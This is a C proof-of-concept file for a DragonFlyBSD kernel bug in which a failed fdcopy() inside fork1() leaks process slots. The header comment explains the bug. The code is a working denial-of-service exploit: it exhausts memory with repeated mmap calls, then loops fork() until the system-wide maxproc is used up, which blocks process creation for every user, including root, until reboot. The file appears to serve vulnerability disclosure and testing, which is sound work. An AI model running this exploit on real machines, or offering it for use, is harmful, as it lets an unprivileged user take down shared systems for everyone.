/*
 * DF-0032 PoC - fdcopy() failure in fork1() permanently leaks the child proc,
 *              the nprocs counter, and the per-uid proc-count.
 *
 * On the RFFDG path fork1() adds p2 to allproc (kern_fork.c:491) and bumps
 * nprocs/chgproccnt BEFORE calling fdcopy (kern_fork.c:551). fdcopy is the
 * ONLY fd op that can fail (it uses M_WAITOK|M_ZERO|M_NULLOK at
 * kern_descrip.c:2481-2486, unlike fdinit/fdshare). On failure fork1 does
 * `goto done` (:552-554) and done: (:724-732) only releases tokens -- no
 * teardown of p2 (no allproc removal, no nprocs--, no chgproccnt--, no
 * crfree/vrele). The SIDL orphan with no lwp/parent never reaches exit, so
 * nprocs/chgproccnt are never decremented. Each such failure permanently
 * consumes one system-wide maxproc slot and one per-uid RLIMIT_NPROC slot.
 *
 * Default fork()/vfork() use RFFDG, so every unprivileged user hits this.
 * Induce kernel malloc pressure (large mmap+touch / swap exhaustion) so the
 * M_NULLOK kmalloc in fdcopy returns NULL, then loop fork().
 *
 * Build (DragonFlyBSD):  cc -o fork_leak fork_leak.c
 * Run as an UNPRIVILEGED user (disposable VM).
 *
 * Expected (bug present): proc count grows toward maxproc; once exhausted,
 * fork()/vfork()/thread-creation returns EAGAIN for ALL users (incl. root)
 * until reboot. SIDL orphans accumulate (visible in advanced proc viewers).
 */

#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>

int
main(void)
{
	/* 1. Squeeze kernel malloc / swap so M_NULLOK kmalloc can fail. */
	for (;;) {
		void *p = mmap(NULL, (size_t)1 << 30, PROT_READ | PROT_WRITE,
			       MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED)
			break;
		*(volatile char *)p = 1;	/* fault it in */
	}
	fprintf(stderr, "[*] memory pressure applied; hammering fork() (RFFDG)\n");

	signal(SIGCHLD, SIG_IGN);	/* leaked procs are orphans anyway */

	/* 2. Default fork() == RFFDG -> fdcopy(); failures leak p2+nprocs. */
	for (;;) {
		pid_t p = fork();
		if (p == 0)
			_exit(0);
		if (p < 0) {
			/* EAGAIN once maxproc exhausted -- system-wide fork DoS */
			static long eagain;
			if (++eagain % 1000 == 0)
				fprintf(stderr, "[*] fork EAGAIN x%ld (maxproc exhausted)\n",
				    eagain);
		}
	}
	return 0;
}
